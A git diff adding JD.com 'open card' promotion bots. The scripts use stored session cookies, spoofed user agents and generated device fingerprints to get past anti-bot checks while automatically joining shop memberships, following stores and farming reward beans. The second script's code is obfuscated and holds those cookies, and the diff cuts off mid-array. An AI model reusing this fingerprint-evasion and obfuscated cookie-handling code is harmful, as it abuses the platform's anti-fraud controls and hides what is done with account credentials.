[gua_opencard24.js] +———————————————— +跑此脚本需要添加依赖文件[sign_graphics_validate.js] + +一次性脚本 + +没有邀请助力 +没有邀请助力 +没有邀请助力 + +开36卡 每个卡10京豆 (如果在别的地方开过卡 则在这不能开卡 故没有京豆 +3个日常任务 有关注、加购 (每次1京豆 关注和加购可以多次 +(默认不加购 如需加购请设置环境变量[guaopencard_addSku24]为"true" + +默认脚本不执行 +如需执行脚本请设置环境变量 +做任务 +guaopencardRun24="true" +开卡 +guaopencard24="true" + +活动有点小毛病 +经常获取不到任务信息 + +———————————————— +因需要加载依赖文件 +所有不支持手机软件(Quantumultx、Loon、Surge、小火箭等 +———————————————— +入口:[ 会员“食”力派 (https://prodev.m.jd.com/mall/active/3Y9i9BXZZwdsJFkxvrYvkmSih6MZ/index.html)] + +获得到的京豆不一定到账 + +30 10,19 * 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard24.js, tag=会员“食”力派, enabled=true + +*/ +const $ = new Env('会员“食”力派'); +const Faker=require('./sign_graphics_validate.js') +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +let guaopencard_addSku = "false" +guaopencard_addSku = $.isNode() ? (process.env.guaopencard_addSku24 ? process.env.guaopencard_addSku24 : `${guaopencard_addSku}`) : ($.getdata('guaopencard_addSku24') ? $.getdata('guaopencard_addSku24') : `${guaopencard_addSku}`); +guaopencard_addSku = $.isNode() ? (process.env.guaopencard_addSku_All ? process.env.guaopencard_addSku_All : `${guaopencard_addSku}`) : ($.getdata('guaopencard_addSku_All') ? $.getdata('guaopencard_addSku_All') : `${guaopencard_addSku}`); +let guaopencard = "false" +guaopencard = $.isNode() ? (process.env.guaopencard24 ? process.env.guaopencard24 : `${guaopencard}`) : ($.getdata('guaopencard24') ? $.getdata('guaopencard24') : `${guaopencard}`); +guaopencard = $.isNode() ? (process.env.guaopencard_All ? process.env.guaopencard_All : `${guaopencard}`) : ($.getdata('guaopencard_All') ? $.getdata('guaopencard_All') : `${guaopencard}`); +let guaopencardRun = "false" +guaopencardRun = $.isNode() ? (process.env.guaopencardRun24 ? process.env.guaopencardRun24 : `${guaopencardRun}`) : ($.getdata('guaopencardRun24') ? $.getdata('guaopencardRun24') : `${guaopencardRun}`); +guaopencardRun = $.isNode() ? (process.env.guaopencardRun_All ? process.env.guaopencardRun_All : `${guaopencardRun}`) : ($.getdata('guaopencardRun_All') ? $.getdata('guaopencardRun_All') : `${guaopencardRun}`); +allMessage = "" +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if(guaopencard+"" != "true"){ + console.log('如需开卡请设置环境变量[guaopencard24]为"true"') + } + if(guaopencardRun+"" != "true"){ + console.log('如需做任务请设置环境变量[guaopencardRun24]为"true"') + } + if(guaopencard+"" != "true" && guaopencardRun+"" != "true"){ + return + } + $.activeID = '3Y9i9BXZZwdsJFkxvrYvkmSih6MZ' + console.log(`入口:\nhttps://prodev.m.jd.com/mall/active/${$.activeID}/index.html`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + message = "" + $.bean = 0 + await getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await run(); + if($.bean > 0 || message) allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n${$.bean > 0 && "获得"+$.bean+"京豆\n" || ""}${message}\n` + } + } + if(allMessage){ + $.msg($.name, ``, `${allMessage}\n获得到的京豆不一定到账`); + if ($.isNode()){ + await notify.sendNotify(`${$.name}`, `${allMessage}\n获得到的京豆不一定到账`); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function run() { + try { + // await getHtml(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + if(!$.fp || !$.eid){ + message += `获取活动信息失败!\n` + return + } + let config = [ + {configCode:'85201aaf1895431e874132d9c2669afe',configName:'9月食品联合开卡分会场三'}, + {configCode:'30ed2348398c4f4796e585b9b5240a28',configName:'9月食品联合开卡分会场二'}, + {configCode:'e23a262b02fc4e279f5a0fc3a5764ac6',configName:'9月食品联合开卡分会场一'}, + ] + for(let i in config){ + $.hotFlag = false + let item = config[i] + $.task = '' + $.taskList = [] + $.taskInfo = '' + let q = 5 + for(m=1;q--;m++){ + if($.task == '') await getActivity(item.configCode,item.configName,3) + if($.task || $.hotFlag) break + } + if($.task == '') message += `[${item.configName}] 任务获取失败,再次执行\n` + if($.task.memberTask && $.task.memberTask.memberList){ + let msg = '' + if(guaopencard+"" != "true"){ + msg = '如需开卡请设置环境变量[guaopencard24]为"true"' + } + console.log(`\n[${$.task.moduleBaseInfo.configName}] ${$.task.memberTask.showOrder == 2 && '日常任务' || $.task.memberTask.showOrder == 1 && '开卡任务' || '未知任务'} ${($.task.moduleBaseInfo.rewardStatus == 2) && '全部完成' || ''}${msg}`) + $.oneTask = '' + for (let o in $.task.memberTask.memberList) { + if(guaopencard !== "true") break + $.oneTask = $.task.memberTask.memberList[o]; + console.log(`[${$.oneTask.cardName}] ${0 == $.oneTask.result ? "开卡得" + $.oneTask.rewardQuantity + "京豆" : 1 == $.oneTask.result ? "领取" + $.oneTask.rewardQuantity + "京豆" : 3 == $.oneTask.result ? "其他渠道入会" : "已入会"}`) + if($.oneTask.result == 0) await statistic(`{"activityType":"module_task","groupType":7,"configCode":"${item.configCode}","itemId":${$.oneTask.cardId}}`) + if($.oneTask.result == 0) await join($.oneTask.venderId) + if($.oneTask.result == 0) await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + if($.oneTask.result == 1 || $.oneTask.result == 0) await getReward(`{"configCode":"${item.configCode}","groupType":7,"itemId":${$.oneTask.cardId},"eid":"${$.eid}","fp":"${$.fp}"}`) + if($.oneTask.result == 1 || $.oneTask.result == 0) await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) + } + await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) + } + if($.task.dailyTask && $.task.dailyTask.taskList){ + for (let t in $.task.dailyTask.taskList) { + $.oneTask = $.task.dailyTask.taskList[t]; + $.cacheNum = 0 + $.doTask = false + $.outActivity = false + let name = `${1 == $.oneTask.groupType ? "关注并浏览店铺" : 2 == $.oneTask.groupType ? "加购并浏览商品" : 3 == $.oneTask.groupType ? "关注并浏览频道" : 6 == $.oneTask.groupType ? "浏览会场" : "未知"}` + let msg = `(${$.oneTask.finishCount}/${$.oneTask.taskCount})` + let status = `${$.oneTask.finishCount >= $.oneTask.taskCount && '已完成' || "去" + (1 == $.oneTask.groupType ? "关注" : 2 == $.oneTask.groupType ? "加购" : 3 == $.oneTask.groupType ? "关注" : 6 == $.oneTask.groupType ? "浏览" : "做任务")}` + console.log(`${name}${msg} ${status}`) + if(guaopencard_addSku+"" != "true" && 2 == $.oneTask.groupType) console.log('如需加购请设置环境变量[guaopencard_addSku24]为"true"\n'); + if(guaopencard_addSku+"" != "true" && 2 == $.oneTask.groupType) continue; + if($.oneTask.finishCount < $.oneTask.taskCount){ + await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTask.groupType},"itemId":"${$.oneTask.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) + let c = $.oneTask.taskCount - $.oneTask.finishCount - 1 + for(n=2;c-- && !$.outActivity;n++){ + if($.outActivity) break + console.log(`第${n}次`) + await getActivity(item.configCode,item.configName,$.oneTask.groupType) + $.oneTasks = '' + let q = 3 + for(m=1;q--;m++){ + if($.oneTasks == '') await getActivity(item.configCode,item.configName,$.oneTask.groupType) + if($.oneTasks) break + } + if($.oneTasks){ + c = $.oneTasks.taskCount - $.oneTasks.finishCount + if($.oneTasks.item.itemId == $.oneTask.item.itemId){ + n--; + console.log(`数据缓存中`) + $.cacheNum++; + if($.cacheNum > 3) { + console.log('请重新执行脚本,数据缓存问题'); + message += "请重新执行脚本,数据缓存问题\n" + break + }; + await $.wait(parseInt(Math.random() * 2000 + 3000, 10)) + await getHtml(); + }else{ + $.cacheNum = 0 + } + if($.oneTasks.item.itemId != $.oneTask.item.itemId && $.oneTasks.finishCount < $.oneTasks.taskCount) await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTasks.groupType},"itemId":"${$.oneTasks.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) + }else{ + n--; + } + await $.wait(parseInt(Math.random() * 2000 + 3000, 10)) + } + } + } + await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) + } + } + } catch (e) { + console.log(e) + } +} +function getActivity(code,name,flag) { + return new Promise(async resolve => { + $.get({ + url: `https://jdjoy.jd.com/module/task/v2/getActivity?configCode=${code}&eid=${$.eid}&fp=${$.fp}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + 'Content-Type':'application/json;charset=utf-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`${$.toStr(err,err)}`) + } else { + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true && res.data.pass == true){ + if(flag == 0){ + $.task = res.data.memberTask || res.data.dailyTask || [] + $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || [] + }else if(flag == -1){ + $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || {} + }else if(flag == 1 || flag == 2){ + for(let i of res.data.dailyTask.taskList){ + if(i.groupType == flag){ + $.oneTasks = i + break + } + } + }else if(flag == 3){ + $.task = res.data + }else{ + console.log('活动-未知类型') + } + }else if(res.data.pass == false){ + console.log(`活动[${name}]活动太火爆了,请稍后再试~`) + message += `活动[${name}]活动太火爆了,请稍后再试~\n` + $.hotFlag = true + }else{ + console.log(`活动[${name}]获取失败\n${data}`) + if(flag > 0) await getHtml(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doTask(body) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/v2/doTask`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + $.doTask = true + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`${$.toStr(err,err)}`) + } else { + await $.wait(parseInt(Math.random() * 1000 + 500, 10)) + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true){ + console.log(`领奖成功:${$.oneTask.rewardQuantity}京豆`) + $.bean += $.oneTask.rewardQuantity + }else if(res.errorMessage){ + if(res.errorMessage.indexOf('活动已结束') > -1) $.outActivity = true + console.log(`${res.errorMessage}`) + }else{ + console.log(data) + } + } + + } + } catch (e) { + console.log(e) + } finally { + resolve(data); + } + }) + }) +} +function getReward(body, flag = 0) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/v2/getReward`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`${$.toStr(err,err)}`) + } else { + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true){ + console.log(`领奖成功:${flag == 1 && $.taskInfo.rewardFinish || $.oneTask.rewardQuantity}京豆`) + $.bean += $.oneTask.rewardQuantity || 0 + }else{ + console.log(`${res.errorMessage}`) + } + } + + } + } catch (e) { + console.log(e) + } finally { + resolve(data); + } + }) + }) +} + +function statistic(body) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/data/statistic`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`${$.toStr(err,err)}`) + } else { + // console.log(data) + + } + } catch (e) { + console.log(e) + } finally { + resolve(data); + } + }) + }) +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + await $.wait(1000) + await getshopactivityId(venderId) + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + // console.log(data) + data = JSON.parse(data); + if(data.success == true){ + $.log(data.message) + if(data.result && data.result.giftInfo){ + for(let i of data.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(data.success == false){ + $.log(data.message) + } + } catch (e) { + console.log(e) + } finally { + resolve(data); + } + }) + }) +} +function ruhui(functionId) { + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401`, + 'Cookie': cookie + } + } +} + +function getshopactivityId(venderId) { + return new Promise(resolve => { + $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { + try { + // console.log(data) + data = JSON.parse(data); + if(data.success == true){ + console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + console.log(e) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401`, + 'Cookie': cookie + } + } +} +function getHtml() { + return new Promise(resolve => { + $.get({ + url: `https://prodev.m.jd.com/mall/active/${$.activeID}/index.html`, + headers: { + "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`${$.toStr(err,err)}`) + } else { + } + } catch (e) { + console.log(e) + } finally { + resolve(data); + } + }) + }) +} + +function getEid(arr) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${arr.a}`, + body: `d=${arr.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.UA + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n登录: API查询请求失败 ‼️‼️`) + console.log(`${$.toStr(err,err)}`) + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + $.eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + console.log(e) + } finally { + resolve(data); + } + }) + }) +} + + + +async function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` + let arr = await Faker.getBody($.UA,`https://prodev.m.jd.com/mall/active/${$.activeID}/index.html`) + $.fp = arr.fp + await getEid(arr) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/backUp/gua_opencard25.js b/backUp/gua_opencard25.js new file mode 100644 index 0000000..b9f507a --- /dev/null +++ b/backUp/gua_opencard25.js @@ -0,0 +1,50 @@ +/* +9.8-9.30 成家有福 长长久久 [gua_opencard25.js] +新增开卡脚本 +一次性脚本 + +邀请一人20豆 被邀请也有20豆(有可能没有豆 +开2组卡 抽奖可能获得30京豆(有可能有抽到空气💨 +关注10京豆 (有可能是空气💨 +加购5京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku25]为"true" + +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会退出脚本 + +默认脚本不执行 +如需执行脚本请设置环境变量 +guaopencard25="true" + +All变量适用 +———————————————— +入口:[ 9.8-9.30 成家有福 长长久久 (https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity?activityId=9ef833504aaf436ebd84a3b762c32ead&shareUuid=73536d0508b44689a6e0c2570158cae8)] + +请求太频繁会被黑ip +号多的会被限制ip +过10分钟再执行 + +============Quantumultx=============== +[task_local] +#9.8-9.30 成家有福 长长久久 +17 2,20 8-30 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard25.js, tag=9.8-9.30 成家有福 长长久久, enabled=true + +================Loon============== +[Script] +cron "17 2,20 8-30 9 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard25.js,tag=9.8-9.30 成家有福 长长久久 + +===============Surge================= +9.8-9.30 成家有福 长长久久 = type=cron,cronexp="17 2,20 8-30 9 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard25.js + +============小火箭========= +9.8-9.30 成家有福 长长久久 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard25.js, cronexpr="17 2,20 8-30 9 *", timeout=3600, enable=true +*/ + +let guaopencard_addSku="false"; +let guaopencard="false"; + +var _0xod2='jsjiami.com.v6',_0x4195=[_0xod2,'bEZPd3c=','S0tOSHU=','Zmxvb3I=','b3RpVmM=','SWhySk4=','dmZTQXY=','cGFueWc=','QkVxemY=','SlZnZEU=','QXN0ZWs=','Z1F4TVk=','ak1YalQ=','T3hqUkQ=','SU51V1Y=','b3daekI=','L2N1c3RvbWVyL2dldE15UGluZw==','QUJzTmw=','cWZHYVE=','U0FTenk=','R2NGSWU=','T1BycEk=','UXN3ZEU=','VnFFZ3Y=','T1FzVVo=','QVNsWmU=','c2Z0WEY=','WlRKSmk=','SkNPUHU=','Y3NSZmo=','Y3dPU00=','RUdiRGg=','Sk5YVUo=','bUdNekY=','aHB5VnM=','ZVdzTEM=','VGNMYmw=','d0FBSWM=','VkVzR3A=','TVdoUU4=','cHprWXA=','UWR0eko=','T1lhTWI=','RVd5ekk=','eFRia0c=','TVhaZmg=','ZFFDRE4=','eFJwV3c=','b0ZlYmY=','d2dYeGI=','V2hsaHI=','dkx5ZUI=','dXNlcklkPQ==','JnRva2VuPQ==','JmZyb21UeXBlPUFQUA==','SlJwcWc=','R2RQV2o=','akZuV0E=','bmRuUmg=','T3pFVmQ=','dEx1Ymc=','aFNUVWY=','b0NoRlM=','TWVTWkM=','TGZSUVM=','cU5wc0o=','RUladW4=','IGdldE15UGluZyBBUEnor7fmsYLlpLHotKXvvIzor7fmo4Dmn6XnvZHot6/ph43or5U=','SmxMUEc=','bFhmaHE=','d0xrWkk=','cXRLbU0=',